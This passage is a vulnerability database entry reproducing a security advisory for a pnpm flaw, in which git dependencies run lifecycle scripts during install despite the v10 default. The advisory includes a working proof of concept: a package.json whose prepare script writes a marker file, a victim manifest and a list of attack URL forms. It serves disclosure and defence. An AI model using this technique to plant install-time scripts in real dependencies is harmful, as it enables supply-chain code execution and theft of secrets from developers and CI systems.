`ignoreScripts` option defaults to `false` and is completely separate from `onlyBuiltDependencies`. The `onlyBuiltDependencies` allowlist is never consulted during the fetch phase.\n\n**Affected scripts that execute during fetch:**\n- `prepare`\n- `prepublish`\n- `prepack`\n\n**Attack vectors:**\n- `git+https://github.com/attacker/malicious.git`\n- `github:attacker/malicious`\n- `gitlab:attacker/malicious`\n- `bitbucket:attacker/malicious`\n- `git+ssh://git@github.com/attacker/malicious.git`\n- `git+file:///path/to/local/repo`\n\n### PoC\n\n**Prerequisites:**\n- pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1)\n- git\n\n**Steps to reproduce:**\n\n1. Extract the attached [poc.zip](https://github.com/user-attachments/files/23797816/poc.zip)\n\n2. Run the PoC script:\n   ```bash\n   cd poc\n   chmod +x run-poc.sh\n   ./run-poc.sh\n   ```\n\n3. Verify the marker file was created by the malicious script:\n   ```bash\n   cat /tmp/pnpm-vuln-poc-marker.txt\n   ```\n\n**Manual reproduction:**\n\n1. Create a malicious package with a `prepare` script:\n   ```json\n   {\n     \"name\": \"malicious-pkg\",\n     \"version\": \"1.0.0\",\n     \"scripts\": {\n       \"prepare\": \"node -e \\\"require(\u0027fs\u0027).writeFileSync(\u0027/tmp/pwned.txt\u0027, \u0027RCE!\u0027)\\\"\"\n     }\n   }\n   ```\n\n2. Initialize it as a git repo and commit the files\n\n3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):\n   ```json\n   {\n     \"dependencies\": {\n       \"malicious-pkg\": \"git+file:///path/to/malicious-pkg\"\n     }\n   }\n   ```\n\n4. Run `pnpm install` - the prepare script executes without any warning or approval prompt\n\n### Impact\n\n**Severity: High**\n\n**Who is impacted:**\n- All pnpm v10+ users\n- Users who believed they were protected by the v10 \"scripts disabled by default\" feature\n- CI/CD pipelines\n\n**Attack scenarios:**\n1. **Supply chain attack:** An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during `pnpm install`\n\n**What an attacker can do:**\n- Execute arbitrary code with the victim\u0027s privileges\n- Exfiltrate environment variables, secrets, and credentials\n- Modify source code or inject backdoors\n- Establish persistence or reverse shells\n- Access the filesystem and network\n\n**Why this bypasses security expectations:**\n- pnpm v10 changelog explicitly states \"Lifecycle scripts of dependencies are not executed during installation by default\"\n- Users expect git dependencies to follow the same security model as npm registry packages\n- There is no warning that git dependencies are treated differently\n- The `onlyBuiltDependencies` configuration does not affect git dependencies",
  "id": "GHSA-379q-355j-w6rj",
  "modified": "2026-01-08T20:05:37Z",
  "published": "2026-01-07T19:07:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69264"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm v10+ Bypass \"Dependency lifecycle scripts execution disabled by default\""
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-69264 (GCVE-0-2025-69264)

BREW-PNPM-CVE-2025-69264 (GHSA-379Q-355J-W6RJ)

BREW-PNPM@10-CVE-2025-69264 (GHSA-379Q-355J-W6RJ)

pnpm v10+ Git Dependency Script Execution Bypass

Summary

Details

PoC

Impact

FKIE_CVE-2025-69264

GHSA-379Q-355J-W6RJ

pnpm v10+ Git Dependency Script Execution Bypass

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour